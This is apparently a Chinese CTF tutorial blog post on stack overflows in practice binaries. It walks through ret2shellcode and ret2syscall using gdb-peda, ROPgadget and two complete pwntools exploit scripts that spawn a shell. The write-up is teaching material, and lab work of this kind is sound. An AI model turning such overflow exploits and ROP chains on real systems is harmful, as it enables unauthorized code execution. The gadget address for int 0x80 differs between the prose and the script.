PWN入门系列(3)ROP的利用

ret2shellcode

原理

ret2shellcode,即控制程序shellcode代码。shellcode指的是用于完成某个功能的汇编代码,如:call等,常见的功能主要是获取目标系统的shell。如果想执行shellcode,需要对应的binary在运行时,shellcode所在的区域具有可执行权限。

举例

还是以bammboofox的ret2shellcode为例
附:ret2shellcode
第一步还是进行checksec

giantbranch@ubuntu:~/Desktop/PWN$ checksec ret2shellcode 
[*] '/home/giantbranch/Desktop/PWN/ret2shellcode'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

可以看到没有开启数据执行保护(NX)和其他的保护措施,并且可读可写可执行的部分存在。
在拖到IDA里面看一下

PWN入门系列(3)ROP的利用_第1张图片
还是老演员gets先生了~
仍然是最基本的栈溢出漏洞,不过这次害将对应的地府通过strcpy函数复制到buf2中,不妨来看一下buf2
在这里插入图片描述看到buf2在bss段。
看看bss段所在的buf2能否可执行呢?
首先将文件的权限提升一下。

giantbranch@ubuntu:~/Desktop/PWN$ chmod  a+x ret2shellcode 
giantbranch@ubuntu:~/Desktop/PWN$ gdb ret2shellcode 

在main函数设下断点:

gdb-peda$ b main
Breakpoint 1 at 0x8048536: file ret2shellcode.c, line 8.

r查看一下

Starting program: /home/giantbranch/Desktop/ret2shellcode 

[----------------------------------registers-----------------------------------]
EAX: 0xf7fb8dbc --> 0xffffd0dc --> 0xffffd2cf ("XDG_VTNR=7")
EBX: 0x0 
ECX: 0x245de9ae 
EDX: 0xffffd064 --> 0x0 
ESI: 0xf7fb7000 --> 0x1b1db0 
EDI: 0xf7fb7000 --> 0x1b1db0 
EBP: 0xffffd038 --> 0x0 
ESP: 0xffffcfb0 --> 0xffffcfde --> 0xffff0000 --> 0x0 
EIP: 0x8048536 (<main+9>:	mov    eax,ds:0x804a060)
EFLAGS: 0x283 (CARRY parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804852e <main+1>:	mov    ebp,esp
   0x8048530 <main+3>:	and    esp,0xfffffff0
   0x8048533 <main+6>:	add    esp,0xffffff80
=> 0x8048536 <main+9>:	mov    eax,ds:0x804a060
   0x804853b <main+14>:	mov    DWORD PTR [esp+0xc],0x0
   0x8048543 <main+22>:	mov    DWORD PTR [esp+0x8],0x2
   0x804854b <main+30>:	mov    DWORD PTR [esp+0x4],0x0
   0x8048553 <main+38>:	mov    DWORD PTR [esp],eax
[------------------------------------stack-------------------------------------]
0000| 0xffffcfb0 --> 0xffffcfde --> 0xffff0000 --> 0x0 
0004| 0xffffcfb4 --> 0xffffd0dc --> 0xffffd2cf ("XDG_VTNR=7")
0008| 0xffffcfb8 --> 0xe0 
0012| 0xffffcfbc --> 0x0 
0016| 0xffffcfc0 --> 0xf7ffd000 --> 0x23f3c 
0020| 0xffffcfc4 --> 0xf7ffd918 --> 0x0 
0024| 0xffffcfc8 --> 0xffffcfe0 --> 0xffffffff 
0028| 0xffffcfcc --> 0x80482d0 ("__libc_start_ma"...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, main () at ret2shellcode.c:8
8	ret2shellcode.c: No such file or directory.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
 EAX  0xf7fb8dbc (environ) —▸ 0xffffd0dc —▸ 0xffffd2cf ◂— 'XDG_VTNR=7'
 EBX  0x0
 ECX  0x245de9ae
 EDX  0xffffd064 ◂— 0x0
 EDI  0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— mov    al, 0x1d /* 0x1b1db0 */
 ESI  0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— mov    al, 0x1d /* 0x1b1db0 */
 EBP  0xffffd038 ◂— 0x0
 ESP  0xffffcfb0 —▸ 0xffffcfde —▸ 0xffff0000 ◂— 0x0
 EIP  0x8048536 (main+9) ◂— mov    eax, dword ptr [0x804a060]
───────────────────────────────────[ DISASM ]───────────────────────────────────
 ► 0x8048536 <main+9>     mov    eax, dword ptr [0x804a060]
   0x804853b <main+14>    mov    dword ptr [esp + 0xc], 0
   0x8048543 <main+22>    mov    dword ptr [esp + 8], 2
   0x804854b <main+30>    mov    dword ptr [esp + 4], 0
   0x8048553 <main+38>    mov    dword ptr [esp], eax
   0x8048556 <main+41>    call   setvbuf@plt <0x8048410>
 
   0x804855b <main+46>    mov    eax, dword ptr [stdin@@GLIBC_2.0] <0x804a040>
   0x8048560 <main+51>    mov    dword ptr [esp + 0xc], 0
   0x8048568 <main+59>    mov    dword ptr [esp + 8], 1
   0x8048570 <main+67>    mov    dword ptr [esp + 4], 0
   0x8048578 <main+75>    mov    dword ptr [esp], eax
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ esp  0xffffcfb0 —▸ 0xffffcfde —▸ 0xffff0000 ◂— 0x0
01:0004│      0xffffcfb4 —▸ 0xffffd0dc —▸ 0xffffd2cf ◂— 'XDG_VTNR=7'
02:0008│      0xffffcfb8 ◂— 0xe0
03:000c│      0xffffcfbc ◂— 0x0
04:0010│      0xffffcfc0 —▸ 0xf7ffd000 (_GLOBAL_OFFSET_TABLE_) ◂— cmp    al, 0x3f /* 0x23f3c */
05:0014│      0xffffcfc4 —▸ 0xf7ffd918 ◂— 0
06:0018│      0xffffcfc8 —▸ 0xffffcfe0 ◂— 0xffffffff
07:001c│      0xffffcfcc —▸ 0x80482d0 ◂— pop    edi
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
 ► f 0  8048536 main+9
   f 1 f7e1d637 __libc_start_main+247
Breakpoint main

利用vmmap指令查看bss段对应的段所具有的权限。

gdb-peda$ vmmap
Start      End        Perm	Name
0x08048000 0x08049000 r-xp	/home/giantbranch/Desktop/ret2shellcode
0x08049000 0x0804a000 r-xp	/home/giantbranch/Desktop/ret2shellcode
0x0804a000 0x0804b000 rwxp	/home/giantbranch/Desktop/ret2shellcode
0xf7e04000 0xf7e05000 rwxp	mapped
0xf7e05000 0xf7fb5000 r-xp	/lib/i386-linux-gnu/libc-2.23.so
0xf7fb5000 0xf7fb7000 r-xp	/lib/i386-linux-gnu/libc-2.23.so
0xf7fb7000 0xf7fb8000 rwxp	/lib/i386-linux-gnu/libc-2.23.so
0xf7fb8000 0xf7fbb000 rwxp	mapped
0xf7fd3000 0xf7fd4000 rwxp	mapped
0xf7fd4000 0xf7fd7000 r--p	[vvar]
0xf7fd7000 0xf7fd9000 r-xp	[vdso]
0xf7fd9000 0xf7ffc000 r-xp	/lib/i386-linux-gnu/ld-2.23.so
0xf7ffc000 0xf7ffd000 r-xp	/lib/i386-linux-gnu/ld-2.23.so
0xf7ffd000 0xf7ffe000 rwxp	/lib/i386-linux-gnu/ld-2.23.so
0xfffdd000 0xffffe000 rwxp	[stack]

在这里插入图片描述
buf2在bss段是0x0804A080明显在
0x0804a000 0x0804b000中的,因此buf所在的bss段具有可读可写可执行。
那么我们可以通过i控制程序执行shellcode,然后控制程序执行bss出的shellcode。
然后我们来计算一下偏移:
重启gdb
然后利用pattern 生成200个字符

gdb-peda$ pattern create 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'

键入r
输入刚刚生成的200个字符

gdb-peda$ r
Starting program: /home/giantbranch/Desktop/ret2shellcode 
No system for you this time !!!
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA
bye bye ~

来查看EIP指针的变化情况:

► f 0 41384141
   f 1 41414e41
   f 2 3941416a
   f 3 414f4141
   f 4 41416b41
   f 5 6c414150
   f 6 41514141
   f 7 41416d41
   f 8 6f414152
   f 9 41534141
   f 10 41417041
Program received signal SIGSEGV (fault address 0x41384141)

看到地址故障在0x41384141处出现了,是因为溢出造成的。
我们使用指令

gdb-peda$ pattern offset 0x41384141
1094205761 found at offset: 112

偏移为:112
随后将shellcode刚好写入buf因为溢出所报错的地方
编写exp如下:

from pwn import *
sh=process('./ret2shellcode')
shellcode=asm(shellcraft.sh())
buf2addr=0x0804A080
sh.sendline(shellcode.ljust(112,'A')+p32(buf2addr))
sh.interactive()

来解释一下:

这里出现的:asm(shellcraft.sh())
shellcraft.sh()是自带的一段codeshell,也可以去官网去查询需要的shellcode
shellcode.ljust(num,‘str’)指将shellcode凑齐num位不足的用str来左补齐,这里正好将shellcode凑足112位溢出到报错的地方实现pwn。
来看一下效果/
PWN入门系列(3)ROP的利用_第2张图片
$符出现,表明PWN成功!

趁热打铁:来第二道!

ret2syscall

下载地址rop

老样子先checksec
PWN入门系列(3)ROP的利用_第3张图片
可以看到NX开启的32位程序。
老样子,先gdb-peda读取一下看看让我们干什么。
在这里插入图片描述
啊被嘲讽了,这次没有system和shellcode可以用了
真的吗真的吗
拖进IDA里面看一看
PWN入门系列(3)ROP的利用_第4张图片又是你!!!!gets先生!!
不用说了,又存在溢出,当然文章本身就是在讲溢出(bushi
老样子查看偏移!
先通过命令生成200个字符,由于main中只有gets一个读取函数,以此来查看epi的偏移情况。

gdb-peda$ pattern create 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'

───────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────────────────────
r
 ► f 0 41384141
   f 1 41414e41
   f 2 3941416a
   f 3 414f4141
   f 4 41416b41
   f 5 6c414150
   f 6 41514141
   f 7 41416d41
   f 8 6f414152
   f 9 41534141
   f 10 41417041
Program received signal SIGSEGV (fault address 0x41384141)
gdb-peda$ pattern offset 0x41384141
1094205761 found at offset: 112

偏移为112
但是这一次我们不能自己去写入shellcode了,这个办法随着NX的开启已经行不通了!!
难道我们已经没有办法了?
当然不是
在之前的文章中
我们提到的gadgets可以被利用哦~
简单地说,只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shell

execve("/bin/sh",NULL,NULL)

由于程序是32位的。所以参数应该满足:

系统调用号,即 eax 应该为 0xb
第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
第二个参数,即 ecx 应该为 0
第三个参数,即 edx 应该为 0

由于我们并不希望有一段连续的代码去控制对应的寄存器,因此需要分段,利用ropgadgets这个工具。

giantbranch@ubuntu:~/Desktop$ ROPgadget --binary rop  --only 'pop|ret' | grep 'eax'
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

这三个能控制EAX的都可以选用,我选择第二个作为gadgets
同理,来选一个能控制ebx的
PWN入门系列(3)ROP的利用_第5张图片
可以看到我们在选用ebx的时候顺带发现能控制edx和ecx的,果断选择这个

0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

这些分段都完成之后,我们需要调用/bin/sh来拿到shell
因此需要找到/bin/sh对应的地址
也是使用ROPgadget

giantbranch@ubuntu:~/Desktop$ ROPgadget --binary rop  --string '/bin/sh'
Strings information
============================================================
0x080be408 : /bin/sh

还需要所调用的int 80的地址:
PWN入门系列(3)ROP的利用_第6张图片
为0x08048421
然后开始构造payload!
在payload输入后,
执行情况是这样的
执行mov esp,ebp&pop ebp后,esp指向了eax的ret
执行ret指令后eip指向了exa的ret,同时esp指向0xb
然后cpu执行了pop exa,此时0xb的值赋给了exa,同时esp上移,执行ret指令。将esp的内容给eio,然后cpu执行pop_edx_ecx_ebx_ret
直到结束为止。

PWN入门系列(3)ROP的利用_第7张图片
\’‘’

函数返回时通常会执行下列指令

mov esp ,ebp
pop ebp 上述两条指令使ebp , esp指向原来的栈,此时esp指向返回地址
ret 使eip变为返回地址,然后jmp

Syscall的函数调用规范为:execve(“/bin/sh”, 0,0);

所以,eax = 0xb | ebx = address 0f ‘/bin/sh’ | ecx = 0 | edx = 0

它对应的汇编代码为:

pop eax# 系统调用号载入, execve为0xb
pop ebx# 第一个参数, /bin/sh的string
pop ecx# 第二个参数,0
pop edx# 第三个参数,0
int 0x80
我们构造payload,先填充到ret前,接下来执行ret,这里因为要调用execve函数,所以要将对应的寄存器赋值才能执行。

这时候我们开启了NX,栈不可执行。怎么把对应的寄存器赋值呢?

这里用了一个巧妙的办法,搜索多个gadget片段(ret结尾的),给相应的寄存器赋值。

为什么如pop eax ; ret这样的指令会给寄存器赋值呢?

首先了解一下ret指令干了什么,16为汇编的ret的汇编指令执行如下:

ip=ss*16+sp

sp=sp+2

这时候问题就解决了,因为指令执行到填充完的ret前时,这时候esp指向ret,紧接着指令执行ret后,即准备执行ret存储的内容(pop eax;ret),但是ret指令不仅会修改eip,还会把栈顶前移,这时候32位的程序会把esp向栈顶移4位

此时的esp指向的就是我们要赋予eax的值:0xb,ret指令执行完后,eip指向了pop eax;ret。

执行pop eax(将0xb赋给eax,esp+4),在执行ret命令(eip指向esp+4)即pop_edx_ecx_ebx_ret。以此类推将对应的寄存器赋值,最后eip跳转到int 80的地址执行完成整个ret2syscall

然后开始编写exp:

‘’‘
以上部分摘抄自某博客园大佬

from pwn import *
sh=process('./rop')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
#payload=flat(['A'*112,pop_eax_ret,0xb,pop_edx_ecx_ebx_ret,0,0,binsh,int_0x80])
payload=flat(['a'*112,0x080bb196,0xb,0x0806eb90,0,0,0x080be408,0x08049421])
sh.sendline(payload)
sh.interactive()

看看效果:
PWN入门系列(3)ROP的利用_第8张图片
成功!!PWN!!

你可能感兴趣的:(安全,web安全,python)